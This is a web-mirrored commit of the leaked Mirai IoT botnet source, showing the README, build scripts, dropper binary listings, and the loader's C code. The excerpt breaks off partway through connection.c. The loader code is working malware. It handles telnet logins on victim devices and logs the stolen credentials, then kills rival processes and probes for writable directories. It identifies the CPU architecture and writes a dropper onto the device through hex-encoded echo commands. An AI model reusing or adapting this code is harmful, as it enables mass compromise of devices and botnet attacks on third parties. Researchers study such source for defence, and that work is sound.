mirror of
				https://github.com/jgamblin/Mirai-Source-Code
				synced 2025-10-30 23:23:02 +00:00 
			
		
		
		
	Code Upload
Code Upload
This commit is contained in:
		
							
								
								
									
										3
									
								
								README.md
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										3
									
								
								README.md
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,3 @@ | ||||
| # Mirai Botnet Client, Echo Loader and CNC source code release | ||||
|  | ||||
| This is the source code released from [here](http://hackforums.net/showthread.php?tid=5420472) as discussed in this [Brian Krebs Post](https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/). | ||||
							
								
								
									
										
											BIN
										
									
								
								loader/bins/dlr.arm
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										
											BIN
										
									
								
								loader/bins/dlr.arm
									
									
									
									
									
										Executable file
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										
											BIN
										
									
								
								loader/bins/dlr.arm7
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										
											BIN
										
									
								
								loader/bins/dlr.arm7
									
									
									
									
									
										Executable file
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										
											BIN
										
									
								
								loader/bins/dlr.m68k
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										
											BIN
										
									
								
								loader/bins/dlr.m68k
									
									
									
									
									
										Executable file
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										
											BIN
										
									
								
								loader/bins/dlr.mips
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										
											BIN
										
									
								
								loader/bins/dlr.mips
									
									
									
									
									
										Executable file
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										
											BIN
										
									
								
								loader/bins/dlr.mpsl
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										
											BIN
										
									
								
								loader/bins/dlr.mpsl
									
									
									
									
									
										Executable file
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										
											BIN
										
									
								
								loader/bins/dlr.ppc
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										
											BIN
										
									
								
								loader/bins/dlr.ppc
									
									
									
									
									
										Executable file
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										
											BIN
										
									
								
								loader/bins/dlr.sh4
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										
											BIN
										
									
								
								loader/bins/dlr.sh4
									
									
									
									
									
										Executable file
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										
											BIN
										
									
								
								loader/bins/dlr.spc
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										
											BIN
										
									
								
								loader/bins/dlr.spc
									
									
									
									
									
										Executable file
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										
											BIN
										
									
								
								loader/bins/dlr.x86
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										
											BIN
										
									
								
								loader/bins/dlr.x86
									
									
									
									
									
										Executable file
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										2
									
								
								loader/build.debug.sh
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										2
									
								
								loader/build.debug.sh
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,2 @@ | ||||
| #!/bin/bash | ||||
| gcc -lefence -g -DDEBUG -static -lpthread -pthread -O3 src/*.c -o loader.dbg | ||||
							
								
								
									
										2
									
								
								loader/build.sh
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										2
									
								
								loader/build.sh
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,2 @@ | ||||
| #!/bin/bash | ||||
| gcc -static -O3 -lpthread -pthread src/*.c -o loader | ||||
							
								
								
									
										83
									
								
								loader/src/binary.c
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										83
									
								
								loader/src/binary.c
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,83 @@ | ||||
| #include <stdio.h> | ||||
| #include <stdlib.h> | ||||
| #include <string.h> | ||||
| #include <glob.h> | ||||
| #include "headers/includes.h" | ||||
| #include "headers/binary.h" | ||||
|  | ||||
| static int bin_list_len = 0; | ||||
| static struct binary **bin_list = NULL; | ||||
|  | ||||
| BOOL binary_init(void) | ||||
| { | ||||
|     glob_t pglob; | ||||
|     int i; | ||||
|  | ||||
|     if (glob("bins/dlr.*", GLOB_ERR, NULL, &pglob) != 0) | ||||
|     { | ||||
|         printf("Failed to load from bins folder!\n"); | ||||
|         return; | ||||
|     } | ||||
|  | ||||
|     for (i = 0; i < pglob.gl_pathc; i++) | ||||
|     { | ||||
|         char file_name[256]; | ||||
|         struct binary *bin; | ||||
|  | ||||
|         bin_list = realloc(bin_list, (bin_list_len + 1) * sizeof (struct binary *)); | ||||
|         bin_list[bin_list_len] = calloc(1, sizeof (struct binary)); | ||||
|         bin = bin_list[bin_list_len++]; | ||||
|  | ||||
| #ifdef DEBUG | ||||
|         printf("(%d/%d) %s is loading...\n", i + 1, pglob.gl_pathc, pglob.gl_pathv[i]); | ||||
| #endif | ||||
|         strcpy(file_name, pglob.gl_pathv[i]); | ||||
|         strtok(file_name, "."); | ||||
|         strcpy(bin->arch, strtok(NULL, ".")); | ||||
|         load(bin, pglob.gl_pathv[i]); | ||||
|     } | ||||
|  | ||||
|     globfree(&pglob); | ||||
|     return TRUE; | ||||
| } | ||||
|  | ||||
| struct binary *binary_get_by_arch(char *arch) | ||||
| { | ||||
|     int i; | ||||
|  | ||||
|     for (i = 0; i < bin_list_len; i++) | ||||
|     { | ||||
|         if (strcmp(arch, bin_list[i]->arch) == 0) | ||||
|             return bin_list[i]; | ||||
|     } | ||||
|  | ||||
|     return NULL; | ||||
| } | ||||
|  | ||||
| static BOOL load(struct binary *bin, char *fname) | ||||
| { | ||||
|     FILE *file; | ||||
|     char rdbuf[BINARY_BYTES_PER_ECHOLINE]; | ||||
|     int n; | ||||
|  | ||||
|     if ((file = fopen(fname, "r")) == NULL) | ||||
|     { | ||||
|         printf("Failed to open %s for parsing\n", fname); | ||||
|         return FALSE; | ||||
|     } | ||||
|  | ||||
|     while ((n = fread(rdbuf, sizeof (char), BINARY_BYTES_PER_ECHOLINE, file)) != 0) | ||||
|     { | ||||
|         char *ptr; | ||||
|         int i; | ||||
|  | ||||
|         bin->hex_payloads = realloc(bin->hex_payloads, (bin->hex_payloads_len + 1) * sizeof (char *)); | ||||
|         bin->hex_payloads[bin->hex_payloads_len] = calloc(sizeof (char), (4 * n) + 8); | ||||
|         ptr = bin->hex_payloads[bin->hex_payloads_len++]; | ||||
|  | ||||
|         for (i = 0; i < n; i++) | ||||
|             ptr += sprintf(ptr, "\\x%02x", (uint8_t)rdbuf[i]); | ||||
|     } | ||||
|  | ||||
|     return FALSE; | ||||
| } | ||||
							
								
								
									
										657
									
								
								loader/src/connection.c
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										657
									
								
								loader/src/connection.c
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,657 @@ | ||||
| #include <sys/socket.h> | ||||
| #include <stdio.h> | ||||
| #include <stdlib.h> | ||||
| #include <string.h> | ||||
| #include <time.h> | ||||
| #include <pthread.h> | ||||
| #include "headers/includes.h" | ||||
| #include "headers/connection.h" | ||||
| #include "headers/server.h" | ||||
| #include "headers/binary.h" | ||||
| #include "headers/util.h" | ||||
|  | ||||
| void connection_open(struct connection *conn) | ||||
| { | ||||
|     pthread_mutex_lock(&conn->lock); | ||||
|  | ||||
|     conn->rdbuf_pos = 0; | ||||
|     conn->last_recv = time(NULL); | ||||
|     conn->timeout = 10; | ||||
|     conn->echo_load_pos = 0; | ||||
|     conn->state_telnet = TELNET_CONNECTING; | ||||
|     conn->success = FALSE; | ||||
|     conn->open = TRUE; | ||||
|     conn->bin = NULL; | ||||
|     conn->echo_load_pos = 0; | ||||
| #ifdef DEBUG | ||||
|     printf("[FD%d] Called connection_open\n", conn->fd); | ||||
| #endif | ||||
|  | ||||
|     pthread_mutex_unlock(&conn->lock); | ||||
| } | ||||
|  | ||||
| void connection_close(struct connection *conn) | ||||
| { | ||||
|     pthread_mutex_lock(&conn->lock); | ||||
|  | ||||
|     if (conn->open) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("[FD%d] Shut down connection\n", conn->fd); | ||||
| #endif | ||||
|         memset(conn->output_buffer.data, 0, sizeof(conn->output_buffer.data)); | ||||
|         conn->output_buffer.deadline = 0; | ||||
|         conn->last_recv = 0; | ||||
|         conn->open = FALSE; | ||||
|         conn->retry_bin = FALSE; | ||||
|         conn->ctrlc_retry = FALSE; | ||||
|         memset(conn->rdbuf, 0, sizeof(conn->rdbuf)); | ||||
|         conn->rdbuf_pos = 0; | ||||
|  | ||||
|         if (conn->srv == NULL) | ||||
|         { | ||||
|             printf("srv == NULL\n"); | ||||
|             return; | ||||
|         } | ||||
|  | ||||
|         if (conn->success) | ||||
|         { | ||||
|             ATOMIC_INC(&conn->srv->total_successes); | ||||
|             fprintf(stderr, "OK|%d.%d.%d.%d:%d %s:%s %s\n", | ||||
|                 conn->info.addr & 0xff, (conn->info.addr >> 8) & 0xff, (conn->info.addr >> 16) & 0xff, (conn->info.addr >> 24) & 0xff, | ||||
|                 ntohs(conn->info.port), | ||||
|                 conn->info.user, conn->info.pass, conn->info.arch); | ||||
|         } | ||||
|         else | ||||
|         { | ||||
|             ATOMIC_INC(&conn->srv->total_failures); | ||||
|             fprintf(stderr, "ERR|%d.%d.%d.%d:%d %s:%s %s|%d\n", | ||||
|                 conn->info.addr & 0xff, (conn->info.addr >> 8) & 0xff, (conn->info.addr >> 16) & 0xff, (conn->info.addr >> 24) & 0xff, | ||||
|                 ntohs(conn->info.port), | ||||
|                 conn->info.user, conn->info.pass, conn->info.arch, | ||||
|                 conn->state_telnet); | ||||
|         } | ||||
|     } | ||||
|     conn->state_telnet = TELNET_CLOSED; | ||||
|  | ||||
|     if (conn->fd != -1) | ||||
|     { | ||||
|         close(conn->fd); | ||||
|         conn->fd = -1; | ||||
|         ATOMIC_DEC(&conn->srv->curr_open); | ||||
|     } | ||||
|  | ||||
|     pthread_mutex_unlock(&conn->lock); | ||||
| } | ||||
|  | ||||
| int connection_consume_iacs(struct connection *conn) | ||||
| { | ||||
|     int consumed = 0; | ||||
|     uint8_t *ptr = conn->rdbuf; | ||||
|  | ||||
|     while (consumed < conn->rdbuf_pos) | ||||
|     { | ||||
|         int i; | ||||
|  | ||||
|         if (*ptr != 0xff) | ||||
|             break; | ||||
|         else if (*ptr == 0xff) | ||||
|         { | ||||
|             if (!can_consume(conn, ptr, 1)) | ||||
|                 break; | ||||
|             if (ptr[1] == 0xff) | ||||
|             { | ||||
|                 ptr += 2; | ||||
|                 consumed += 2; | ||||
|                 continue; | ||||
|             } | ||||
|             else if (ptr[1] == 0xfd) | ||||
|             { | ||||
|                 uint8_t tmp1[3] = {255, 251, 31}; | ||||
|                 uint8_t tmp2[9] = {255, 250, 31, 0, 80, 0, 24, 255, 240}; | ||||
|  | ||||
|                 if (!can_consume(conn, ptr, 2)) | ||||
|                     break; | ||||
|                 if (ptr[2] != 31) | ||||
|                     goto iac_wont; | ||||
|  | ||||
|                 ptr += 3; | ||||
|                 consumed += 3; | ||||
|  | ||||
|                 send(conn->fd, tmp1, 3, MSG_NOSIGNAL); | ||||
|                 send(conn->fd, tmp2, 9, MSG_NOSIGNAL); | ||||
|             } | ||||
|             else | ||||
|             { | ||||
|                 iac_wont: | ||||
|  | ||||
|                 if (!can_consume(conn, ptr, 2)) | ||||
|                     break; | ||||
|  | ||||
|                 for (i = 0; i < 3; i++) | ||||
|                 { | ||||
|                     if (ptr[i] == 0xfd) | ||||
|                         ptr[i] = 0xfc; | ||||
|                     else if (ptr[i] == 0xfb) | ||||
|                         ptr[i] = 0xfd; | ||||
|                 } | ||||
|  | ||||
|                 send(conn->fd, ptr, 3, MSG_NOSIGNAL); | ||||
|                 ptr += 3; | ||||
|                 consumed += 3; | ||||
|             } | ||||
|         } | ||||
|     } | ||||
|  | ||||
|     return consumed; | ||||
| } | ||||
|  | ||||
| int connection_consume_login_prompt(struct connection *conn) | ||||
| { | ||||
|     char *pch; | ||||
|     int i, prompt_ending = -1; | ||||
|  | ||||
|     for (i = conn->rdbuf_pos; i >= 0; i--) | ||||
|     { | ||||
|         if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%') | ||||
|         { | ||||
| #ifdef DEBUG | ||||
|             printf("matched login prompt at %d, \"%c\", \"%s\"\n", i, conn->rdbuf[i], conn->rdbuf); | ||||
| #endif | ||||
|             prompt_ending = i; | ||||
|             break; | ||||
|         } | ||||
|     } | ||||
|  | ||||
|     if (prompt_ending == -1) | ||||
|     { | ||||
|         int tmp; | ||||
|  | ||||
|         if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "ogin", 4)) != -1) | ||||
|             prompt_ending = tmp; | ||||
|         else if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "enter", 5)) != -1) | ||||
|             prompt_ending = tmp; | ||||
|     } | ||||
|  | ||||
|     if (prompt_ending == -1) | ||||
|         return 0; | ||||
|     else | ||||
|         return prompt_ending; | ||||
| } | ||||
|  | ||||
| int connection_consume_password_prompt(struct connection *conn) | ||||
| { | ||||
|     char *pch; | ||||
|     int i, prompt_ending = -1; | ||||
|  | ||||
|     for (i = conn->rdbuf_pos; i >= 0; i--) | ||||
|     { | ||||
|         if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%') | ||||
|         { | ||||
| #ifdef DEBUG | ||||
|             printf("matched password prompt at %d, \"%c\", \"%s\"\n", i, conn->rdbuf[i], conn->rdbuf); | ||||
| #endif | ||||
|             prompt_ending = i; | ||||
|             break; | ||||
|         } | ||||
|     } | ||||
|  | ||||
|     if (prompt_ending == -1) | ||||
|     { | ||||
|         int tmp; | ||||
|  | ||||
|         if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "assword", 7)) != -1) | ||||
|             prompt_ending = tmp; | ||||
|     } | ||||
|  | ||||
|     if (prompt_ending == -1) | ||||
|         return 0; | ||||
|     else | ||||
|         return prompt_ending; | ||||
| } | ||||
|  | ||||
| int connection_consume_prompt(struct connection *conn) | ||||
| { | ||||
|     char *pch; | ||||
|     int i, prompt_ending = -1; | ||||
|  | ||||
|     for (i = conn->rdbuf_pos; i >= 0; i--) | ||||
|     { | ||||
|         if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%') | ||||
|         { | ||||
| #ifdef DEBUG | ||||
|             printf("matched any prompt at %d, \"%c\", \"%s\"\n", i, conn->rdbuf[i], conn->rdbuf); | ||||
| #endif | ||||
|             prompt_ending = i; | ||||
|             break; | ||||
|         } | ||||
|     } | ||||
|  | ||||
|     if (prompt_ending == -1) | ||||
|         return 0; | ||||
|     else | ||||
|         return prompt_ending; | ||||
| } | ||||
|  | ||||
| int connection_consume_verify_login(struct connection *conn) | ||||
| { | ||||
|     int prompt_ending = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE)); | ||||
|  | ||||
|     if (prompt_ending == -1) | ||||
|         return 0; | ||||
|     else | ||||
|         return prompt_ending; | ||||
| } | ||||
|  | ||||
| int connection_consume_psoutput(struct connection *conn) | ||||
| { | ||||
|     int offset; | ||||
|     char *start = conn->rdbuf; | ||||
|     int i, ii; | ||||
|  | ||||
|     offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE)); | ||||
|  | ||||
|     for (i = 0; i < (offset == -1 ? conn->rdbuf_pos : offset); i++) | ||||
|     { | ||||
|         if (conn->rdbuf[i] == '\r') | ||||
|             conn->rdbuf[i] = 0; | ||||
|         else if (conn->rdbuf[i] == '\n') | ||||
|         { | ||||
|             uint8_t option_on = 0; | ||||
|             BOOL last_character_was_space = FALSE; | ||||
|             char *pid_str = NULL, *proc_name = NULL; | ||||
|  | ||||
|             conn->rdbuf[i] = 0; | ||||
|             for (ii = 0; ii < ((char *)&conn->rdbuf[i] - start); ii++) | ||||
|             { | ||||
|                 if (start[ii] == ' ' || start[ii] == '\t' || start[ii] == 0) | ||||
|                 { | ||||
|                     if (option_on > 0 && !last_character_was_space) | ||||
|                         option_on++; | ||||
|                     start[ii] = 0; | ||||
|                     last_character_was_space = TRUE; | ||||
|                 } | ||||
|                 else | ||||
|                 { | ||||
|                     if (option_on == 0) | ||||
|                     { | ||||
|                         pid_str = &start[ii]; | ||||
|                         option_on++; | ||||
|                     } | ||||
|                     else if (option_on >= 3 && option_on <= 5 && last_character_was_space) | ||||
|                     { | ||||
|                         proc_name = &start[ii]; | ||||
|                     } | ||||
|                     last_character_was_space = FALSE; | ||||
|                 } | ||||
|             } | ||||
|  | ||||
|             if (pid_str != NULL && proc_name != NULL) | ||||
|             { | ||||
|                 int pid = atoi(pid_str); | ||||
|                 int len_proc_name = strlen(proc_name); | ||||
|  | ||||
| #ifdef DEBUG | ||||
|                 printf("pid: %d, proc_name: %s\n", pid, proc_name); | ||||
| #endif | ||||
|  | ||||
|                 if (pid != 1 && (strcmp(proc_name, "init") == 0 || strcmp(proc_name, "[init]") == 0)) // Kill the second init | ||||
|                     util_sockprintf(conn->fd, "/bin/busybox kill -9 %d\r\n", pid); | ||||
|                 else if (pid > 400) | ||||
|                 { | ||||
|                     int num_count = 0; | ||||
|                     int num_alphas = 0; | ||||
|  | ||||
|                     for (ii = 0; ii < len_proc_name; ii++) | ||||
|                     { | ||||
|                         if (proc_name[ii] >= '0' && proc_name[ii] <= '9') | ||||
|                             num_count++; | ||||
|                         else if ((proc_name[ii] >= 'a' && proc_name[ii] <= 'z') || (proc_name[ii] >= 'A' && proc_name[ii] <= 'Z')) | ||||
|                         { | ||||
|                             num_alphas++; | ||||
|                             break; | ||||
|                         } | ||||
|                     } | ||||
|  | ||||
|                     if (num_alphas == 0 && num_count > 0) | ||||
|                     { | ||||
|                         //util_sockprintf(conn->fd, "/bin/busybox cat /proc/%d/environ", pid); // lol | ||||
| #ifdef DEBUG | ||||
|                         printf("Killing suspicious process (pid=%d, name=%s)\n", pid, proc_name); | ||||
| #endif | ||||
|                         util_sockprintf(conn->fd, "/bin/busybox kill -9 %d\r\n", pid); | ||||
|                     } | ||||
|                 } | ||||
|             } | ||||
|  | ||||
|             start = conn->rdbuf + i + 1; | ||||
|         } | ||||
|     } | ||||
|  | ||||
|     if (offset == -1) | ||||
|     { | ||||
|         if (conn->rdbuf_pos > 7168) | ||||
|         { | ||||
|             memmove(conn->rdbuf, conn->rdbuf + 6144, conn->rdbuf_pos - 6144); | ||||
|             conn->rdbuf_pos -= 6144; | ||||
|         } | ||||
|         return 0; | ||||
|     } | ||||
|     else | ||||
|     { | ||||
|         for (i = 0; i < conn->rdbuf_pos; i++) | ||||
|         { | ||||
|             if (conn->rdbuf[i] == 0) | ||||
|                 conn->rdbuf[i] = ' '; | ||||
|         } | ||||
|         return offset; | ||||
|     } | ||||
| } | ||||
|  | ||||
| int connection_consume_mounts(struct connection *conn) | ||||
| { | ||||
|     char linebuf[256]; | ||||
|     int linebuf_pos = 0, num_whitespaces = 0; | ||||
|     int i, prompt_ending = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE)); | ||||
|  | ||||
|     if (prompt_ending == -1) | ||||
|         return 0; | ||||
|  | ||||
|     for (i = 0; i < prompt_ending; i++) | ||||
|     { | ||||
|  | ||||
|         if (linebuf_pos == sizeof(linebuf) - 1) | ||||
|         { | ||||
|             // why are we here | ||||
|             break; | ||||
|         } | ||||
|  | ||||
|         if (conn->rdbuf[i] == '\n') | ||||
|         { | ||||
|             char *path, *mnt_info; | ||||
|  | ||||
|             linebuf[linebuf_pos++] = 0; | ||||
|  | ||||
|             strtok(linebuf, " "); // Skip name of partition | ||||
|             if ((path = strtok(NULL, " ")) == NULL) | ||||
|                 goto dirs_end_line; | ||||
|             if (strtok(NULL, " ") == NULL) // Skip type of partition | ||||
|                 goto dirs_end_line; | ||||
|             if ((mnt_info = strtok(NULL, " ")) == NULL) | ||||
|                 goto dirs_end_line; | ||||
|  | ||||
|             if (path[strlen(path) - 1] == '/') | ||||
|                 path[strlen(path) - 1] = 0; | ||||
|  | ||||
|             if (util_memsearch(mnt_info, strlen(mnt_info), "rw", 2) != -1) | ||||
|             { | ||||
|                 util_sockprintf(conn->fd, "/bin/busybox echo -e '%s%s' > %s/.nippon; /bin/busybox cat %s/.nippon; /bin/busybox rm %s/.nippon\r\n", | ||||
|                                 VERIFY_STRING_HEX, path, path, path, path, path); | ||||
|             } | ||||
|  | ||||
|             dirs_end_line: | ||||
|             linebuf_pos = 0; | ||||
|         } | ||||
|         else if (conn->rdbuf[i] == ' ' || conn->rdbuf[i] == '\t') | ||||
|         { | ||||
|             if (num_whitespaces++ == 0) | ||||
|                 linebuf[linebuf_pos++] = conn->rdbuf[i]; | ||||
|         } | ||||
|         else if (conn->rdbuf[i] != '\r') | ||||
|         { | ||||
|             num_whitespaces = 0; | ||||
|             linebuf[linebuf_pos++] = conn->rdbuf[i]; | ||||
|         } | ||||
|     } | ||||
|  | ||||
|     util_sockprintf(conn->fd, "/bin/busybox echo -e '%s/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon\r\n", | ||||
|                                 VERIFY_STRING_HEX); | ||||
|  | ||||
|     util_sockprintf(conn->fd, TOKEN_QUERY "\r\n"); | ||||
|     return prompt_ending; | ||||
| } | ||||
|  | ||||
| int connection_consume_written_dirs(struct connection *conn) | ||||
| { | ||||
|     int end_pos, i, offset, total_offset = 0; | ||||
|     BOOL found_writeable = FALSE; | ||||
|  | ||||
|     if ((end_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE))) == -1) | ||||
|         return 0; | ||||
|  | ||||
|     while (TRUE) | ||||
|     { | ||||
|         char *pch; | ||||
|         int pch_len; | ||||
|  | ||||
|         offset = util_memsearch(conn->rdbuf + total_offset, end_pos - total_offset, VERIFY_STRING_CHECK, strlen(VERIFY_STRING_CHECK)); | ||||
|         if (offset == -1) | ||||
|             break; | ||||
|         total_offset += offset; | ||||
|  | ||||
|         pch = strtok(conn->rdbuf + total_offset, "\n"); | ||||
|         if (pch == NULL) | ||||
|             continue; | ||||
|         pch_len = strlen(pch); | ||||
|  | ||||
|         if (pch[pch_len - 1] == '\r') | ||||
|             pch[pch_len - 1] = 0; | ||||
|  | ||||
|         util_sockprintf(conn->fd, "rm %s/.t; rm %s/.sh; rm %s/.human\r\n", pch, pch, pch); | ||||
|         if (!found_writeable) | ||||
|         { | ||||
|             if (pch_len < 31) | ||||
|             { | ||||
|                 strcpy(conn->info.writedir, pch); | ||||
|                 found_writeable = TRUE; | ||||
|             } | ||||
|             else | ||||
|                 connection_close(conn); | ||||
|         } | ||||
|     } | ||||
|  | ||||
|     return end_pos; | ||||
| } | ||||
|  | ||||
| int connection_consume_copy_op(struct connection *conn) | ||||
| { | ||||
|     int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE)); | ||||
|  | ||||
|     if (offset == -1) | ||||
|         return 0; | ||||
|     return offset; | ||||
| } | ||||
|  | ||||
| int connection_consume_arch(struct connection *conn) | ||||
| { | ||||
|     if (!conn->info.has_arch) | ||||
|     { | ||||
|         struct elf_hdr *ehdr; | ||||
|         int elf_start_pos; | ||||
|  | ||||
|         if ((elf_start_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "ELF", 3)) == -1) | ||||
|             return 0; | ||||
|         elf_start_pos -= 4; // Go back ELF | ||||
|  | ||||
|         ehdr = (struct elf_hdr *)(conn->rdbuf + elf_start_pos); | ||||
|         conn->info.has_arch = TRUE; | ||||
|  | ||||
|         switch (ehdr->e_ident[EI_DATA]) | ||||
|         { | ||||
|             case EE_NONE: | ||||
|                 return 0; | ||||
|             case EE_BIG: | ||||
| #ifdef LOADER_LITTLE_ENDIAN | ||||
|                 ehdr->e_machine = htons(ehdr->e_machine); | ||||
| #endif | ||||
|                 break; | ||||
|             case EE_LITTLE: | ||||
| #ifdef LOADER_BIG_ENDIAN | ||||
|                 ehdr->e_machine = htons(ehdr->e_machine); | ||||
| #endif | ||||
|                 break; | ||||
|         } | ||||
|  | ||||
|         /* arm mpsl spc m68k ppc x86 mips sh4 */ | ||||
|         if (ehdr->e_machine == EM_ARM || ehdr->e_machine == EM_AARCH64) | ||||
|             strcpy(conn->info.arch, "arm"); | ||||
|         else if (ehdr->e_machine == EM_MIPS || ehdr->e_machine == EM_MIPS_RS3_LE) | ||||
|         { | ||||
|             if (ehdr->e_ident[EI_DATA] == EE_LITTLE) | ||||
|                 strcpy(conn->info.arch, "mpsl"); | ||||
|             else | ||||
|                 strcpy(conn->info.arch, "mips"); | ||||
|         } | ||||
|         else if (ehdr->e_machine == EM_386 || ehdr->e_machine == EM_486 || ehdr->e_machine == EM_860 || ehdr->e_machine == EM_X86_64) | ||||
|             strcpy(conn->info.arch, "x86"); | ||||
|         else if (ehdr->e_machine == EM_SPARC || ehdr->e_machine == EM_SPARC32PLUS || ehdr->e_machine == EM_SPARCV9) | ||||
|             strcpy(conn->info.arch, "spc"); | ||||
|         else if (ehdr->e_machine == EM_68K || ehdr->e_machine == EM_88K) | ||||
|             strcpy(conn->info.arch, "m68k"); | ||||
|         else if (ehdr->e_machine == EM_PPC || ehdr->e_machine == EM_PPC64) | ||||
|             strcpy(conn->info.arch, "ppc"); | ||||
|         else if (ehdr->e_machine == EM_SH) | ||||
|             strcpy(conn->info.arch, "sh4"); | ||||
|         else | ||||
|         { | ||||
|             conn->info.arch[0] = 0; | ||||
|             connection_close(conn); | ||||
|         } | ||||
|     } | ||||
|     else | ||||
|     { | ||||
|         int offset; | ||||
|  | ||||
|         if ((offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE))) != -1) | ||||
|             return offset; | ||||
|         if (conn->rdbuf_pos > 7168) | ||||
|         { | ||||
|             // Hack drain buffer | ||||
|             memmove(conn->rdbuf, conn->rdbuf + 6144, conn->rdbuf_pos - 6144); | ||||
|             conn->rdbuf_pos -= 6144; | ||||
|         } | ||||
|     } | ||||
|  | ||||
|     return 0; | ||||
| } | ||||
|  | ||||
| int connection_consume_arm_subtype(struct connection *conn) | ||||
| { | ||||
|     int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE)); | ||||
|  | ||||
|     if (offset == -1) | ||||
|         return 0; | ||||
|  | ||||
|     if (util_memsearch(conn->rdbuf, offset, "ARMv7", 5) != -1 || util_memsearch(conn->rdbuf, offset, "ARMv6", 5) != -1) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("[FD%d] Arch has ARMv7!\n", conn->fd); | ||||
| #endif | ||||
|         strcpy(conn->info.arch, "arm7"); | ||||
|     } | ||||
|  | ||||
|     return offset; | ||||
| } | ||||
|  | ||||
| int connection_consume_upload_methods(struct connection *conn) | ||||
| { | ||||
|     int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE)); | ||||
|  | ||||
|     if (offset == -1) | ||||
|         return 0; | ||||
|  | ||||
|     if (util_memsearch(conn->rdbuf, offset, "wget: applet not found", 22) == -1) | ||||
|         conn->info.upload_method = UPLOAD_WGET; | ||||
|     else if (util_memsearch(conn->rdbuf, offset, "tftp: applet not found", 22) == -1) | ||||
|         conn->info.upload_method = UPLOAD_TFTP; | ||||
|     else | ||||
|         conn->info.upload_method = UPLOAD_ECHO; | ||||
|  | ||||
|     return offset; | ||||
| } | ||||
|  | ||||
| int connection_upload_echo(struct connection *conn) | ||||
| { | ||||
|     int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE)); | ||||
|  | ||||
|     if (offset == -1) | ||||
|         return 0; | ||||
|  | ||||
|     if (conn->bin == NULL) | ||||
|     { | ||||
|         connection_close(conn); | ||||
|         return 0; | ||||
|     } | ||||
|      | ||||
|     if (conn->echo_load_pos == conn->bin->hex_payloads_len) | ||||
|         return offset; | ||||
|  | ||||
|     // echo -ne 'hex' [>]> path/FN_DROPPER | ||||
|     util_sockprintf(conn->fd, "echo -ne '%s' %s " FN_DROPPER "; " TOKEN_QUERY "\r\n", | ||||
|                     conn->bin->hex_payloads[conn->echo_load_pos], (conn->echo_load_pos == 0) ? ">" : ">>"); | ||||
|     conn->echo_load_pos++; | ||||
|  | ||||
|     // Hack drain | ||||
|     memmove(conn->rdbuf, conn->rdbuf + offset, conn->rdbuf_pos - offset); | ||||
|     conn->rdbuf_pos -= offset; | ||||
|  | ||||
|     return 0; | ||||
| } | ||||
|  | ||||
| int connection_upload_wget(struct connection *conn) | ||||
| { | ||||
|     int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE)); | ||||
|  | ||||
|     if (offset == -1) | ||||
|         return 0; | ||||
|  | ||||
|     return offset; | ||||
| } | ||||
|  | ||||
| int connection_upload_tftp(struct connection *conn) | ||||
| { | ||||
